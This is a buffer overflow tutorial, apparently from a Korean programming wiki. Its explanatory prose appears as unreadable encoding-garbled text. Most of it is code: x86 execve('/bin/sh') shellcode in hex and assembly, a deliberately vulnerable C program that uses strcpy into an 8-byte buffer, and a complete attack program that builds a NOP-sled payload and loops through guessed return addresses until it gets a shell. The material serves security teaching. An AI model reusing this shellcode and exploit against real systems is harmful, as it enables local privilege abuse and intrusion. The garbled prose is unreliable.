Buffer over flow °ø°Ý¿¡ ´ëÇÑ ÀÌÇØ
Áغñ ¶¿©±â¼ sample() ÇÔ¼ö°¡ overflow exec shell ÄÚµåÀÌ°í¿ä.ÀÌ°Ç ÀÌ¹Ì °ø½ÄÈµÈ ÄÚµåÀ̱⠶§¹®¿¡ Á¦°¡ Á¶±Ý ¾ç³äÀ» Ãļ ÀÌÇØÇϱ⠽±°Ô ¸¸µé¾î º»°Ì´Ï´Ù. ÇØÅ·Àº ¹«Áö ½È¾îÇÏÁö¸¸ ÀÌ·±°Íµµ ¸íÈ®È÷ ¾Ë¾ÆµÖ¾ß ÀÚ½ÅÀÇ Äڵ尡 Æ°Æ°ÇØÁú°Ì´Ï´Ù. Àý´ë·Î BOF(Buffer Over Flow)´çÇÒ ÄÚµå´Â ¸¸µéÁö ¸¶¼¼¿ä. À̱ÛÀ» ÀÐ°í¼µµ BOFÃë¾à ÄÚµå ¸¸µå´Â »ç¶÷Àº ¹Ùº¸~
¾Æ·¡¿Í °°Àº Äڵ带 ¸¸µé±â À§Çؼ´Â ´ÙÀ½°ú °°Àº ´Ü°è¸¦ ÁøÇàÇÏ¿© Äڵ带 ¸¸µì´Ï´Ù.
%%eax = 0x0b %%ebx = path/filename Æ÷ÀÌÅÍ %%ecx = ÀÎÀÚ ¸®½ºÆ® Æ÷ÀÎÅÍ %%edx = ȯ°æº¯¼ö ¸®½ºÆ® Æ÷ÀÎÅÍ int $0x80 %%eax = 0x01 %%ebx = exit code(return code) int $0x80 /* Copyright (c) Information Equipment co.,LTD. All right reserved Code by JaeHyuk Cho <mailto:minzkn@infoeq.com> CVSTAG="$Header: /home/httpd/kldp/wiki/data/text/RCS/BufferOverFlow,v 1.6 2008/06/25 06:52:15 kss Exp kss $" */ char __mz_shell_code__[] = { "\xeb\x1d" /* jmp 0f */ /* 1: */ "\x5e" /* pop %esi */ /* call ¿¡ ÀÇÇؼ "/bin/sh" ÀÇ ÁÖ¼Ò°¡ ´ã°ÜÀÖ°Ô µÊ. */ "\x89\x76\x08" /* mov %esi,0x8(%esi) */ "\x31\xc0" /* xor %eax,%eax */ "\x88\x46\x07" /* mov %al,0x7(%esi) */ "\x89\x46\x0c" /* mov %eax,0xc(%esi) */ "\xb0\x0b" /* mov $0x0b,%al */ "\x89\xf3" /* movl %%esi, %%ebx */ "\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* mov $0x1,%al */ /* exit system call part */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ /* 0: */ "\xe8\xde\xff\xff\xff" /* call 1b */ "/bin/sh" }; void bof(void) { /* Å×½ºÆ®¸¦ À§ÇØ °¡»óÀ¸·Î BOF ÇÇÆøµÈ ÇÔ¼ö¸¦ ²Ù¹Ì±â À§ÇÑ ÇÔ¼ö */ volatile unsigned long s_Entry; s_Entry = (unsigned long)(&s_Entry) + sizeof(s_Entry) + sizeof(void *)/* frame */; *((unsigned long *)s_Entry) = (unsigned long)(&__mz_shell_code__); } #if 0 /* __mz_shell_code__ source : ÀÌ°ÍÀÌ BOF ½ÇÇàÄÚµåÀ̸ç ÀÌ°ÍÀ» Åä´ë·Î Äڵ尡 ¿Ï¼ºµË´Ï´Ù. */ void sample(void) { __asm__ volatile("nop\n\t"); __asm__ volatile( "jmp 0f\n\t" "1:\n\t" "popl %%esi\n\t" "movl %%esi, 0x08(%%esi)\n\t" "xorl %%eax, %%eax\n\t" "movb %%al, 0x07(%%esi)\n\t" "movl %%eax, 0x0c(%%esi)\n\t" "movb $0x0b, %%al\n\t" "movl %%esi, %%ebx\n\t" "leal 0x08(%%esi), %%ecx\n\t" "xorl %%edx, %%edx\n\t" "int $0x80\n\t" "movb $0x01, %%al\n\t" "xorl %%ebx, %%ebx\n\t" "int $0x80\n\t" "0:\n\t" "call 1b\n\t" ".string \"/bin/bash\"\n\t" : : ); __asm__ volatile("nop\n\t"); } #endif int main(void) { bof(); return(0); } ½ÇÁ¦ °ø°ÝÆÐÅÏ ¶½ÇÁ¦·Î °ø°ÝÀÌ ¾î¶»°Ô ÀÌ·ç¾îÁö´ÂÁö Á÷Á¢ °æÇèÇغÁ¾ß ÀÚ½ÅÀÇ Äڵ带 ´õ Æ°Æ°È÷ ÇÒ¼ö ÀÖÀ»°Ì´Ï´Ù. ²À Çѹø ½Ç½ÀÇغ¸½Ã°í º¸¾ÈÀÇ Á߿伺À» ÀÎÁöÇÏ½Ã°Ô µÇ¾úÀ¸¸é ÁÁ°Ú½À´Ï´Ù. ÀÚ! º¸¾È¿¡ ´ëÇؼ º°·Î ½Å°æ¾²Áö ¾Ê´Â ¾î¶² »ç¶÷ÀÌ ´ÙÀ½°ú °°Àº Äڵ带 »ý¼ºÇÏ¿´´Ù°í ÇսôÙ. (½ÇÁ¦»óȲ¿¡¼´Â º¹ÀâÇÑ ÇÁ·Î±×·¥°ÚÁö¸¸ ´ëÃæ ´ÙÀ½°ú °°Àº »óȲÀÌ Ãë¾àÇÕ´Ï´Ù.)
/* Code by fooman */ #include <stdio.h> #include <string.h> int main(int s_Argc, char *s_Argv[]) { char s_Message[ 8 ]; if(s_Argc <= 1) { fprintf(stdout, "Usage: %s <Message>\n", s_Argv[0]); return(0); } strcpy(s_Message, s_Argv[1]); fputs(s_Message, stdout); return(0); } /* End of source */ /* Code by JaeHyuk Cho <mailto:minzkn@infoeq.com> Attack code */ #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define DEF_ATTACK_PROGRAM "./test1" #define DEF_ATTACK_RANGE (4 << 10) /* ÀûÁ¤ scan ¹üÀ§°ªÀ» ÃëÇÔ : ´ë»óüÀÇ ±Ô¸ð°¡ Ŭ¼ö·Ï ÀÌ °ªÀ» ´Ã·Á¾ß °ÚÁÒ? */ #define DEF_TARGET_ARRAY_SIZE (8) /* test1.c ÀÇ s_MessageÀÇ Å©±â´Â 8À̹ǷΠ: ÀÌ°ÍÀº ½ÇÇèÄ¡·Î Àâ¾Æ³»¾ß ÇÔ */ char __mz_shell_code__[] = { "\xeb\x1d" /* jmp 0f */ /* 1: */ "\x5e" /* pop %esi */ "\x89\x76\x08" /* mov %esi,0x8(%esi) */ "\x31\xc0" /* xor %eax,%eax */ "\x88\x46\x07" /* mov %al,0x7(%esi) */ "\x89\x46\x0c" /* mov %eax,0xc(%esi) */ "\xb0\x0b" /* mov $0x0b,%al */ "\x89\xf3" /* movl %%esi, %%ebx */ "\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* mov $0x1,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ /* 0: */ "\xe8\xde\xff\xff\xff" /* call 1b */ "/bin/sh" "\x00" }; int main(void) { unsigned long s_Address; /* ù¹ø° ½ºÅà º¯¼öÀÓÀ» ÁÖÀÇÇսôÙ. */ char s_Arg[ DEF_TARGET_ARRAY_SIZE + 4 + sizeof(unsigned long) + sizeof(__mz_shell_code__) ]; char *s_Exec[] = { DEF_ATTACK_PROGRAM, (char *)(&s_Arg[0]), (char *)0 }; /* Àû´çÈ÷ Äڵ尡 ½ÇÇàµÇ±â À¯¸®Çϵµ·Ï nop(0x90)À» »ç¿ë */ memset(&s_Arg[0], 0x90 /* nop */, DEF_TARGET_ARRAY_SIZE + 4); /* shell ½ÇÇà ±â°èÄÚµå º¹»ç */ memcpy((void *)(&s_Arg[DEF_TARGET_ARRAY_SIZE + 4 + sizeof(unsigned long)]), (void *)(&__mz_shell_code__[0]), sizeof(__mz_shell_code__)); s_Address = (unsigned long)(&s_Address) - DEF_ATTACK_RANGE; /* Ãʱâ scan ÁÖ¼Ò */ do { /* ·çÇÁ¸¦ ±â´Ù·Áº¾½Ã´Ù. ^^ */ fprintf(stdout, "ATTACK INFO : >> %08lXH <<\n", s_Address); *((unsigned long *)(&s_Arg[DEF_TARGET_ARRAY_SIZE + 4])) = s_Address; if(fork() == 0) { execvp(s_Exec[0], s_Exec); exit(0); } else wait(0); s_Address += sizeof(unsigned long); }while(1); fprintf(stdout, "\n\nBye.\n"); return(0); } /* End of source */ all: test1 test2 clean: ;$(RM) *.o test1 test2 test1: test1.o ;gcc -s -o $@ $^ test2: test2.o ;gcc -s -o $@ $^ %.o:%.c ;gcc -O0 -Wall -Werror -c -o $@ $< |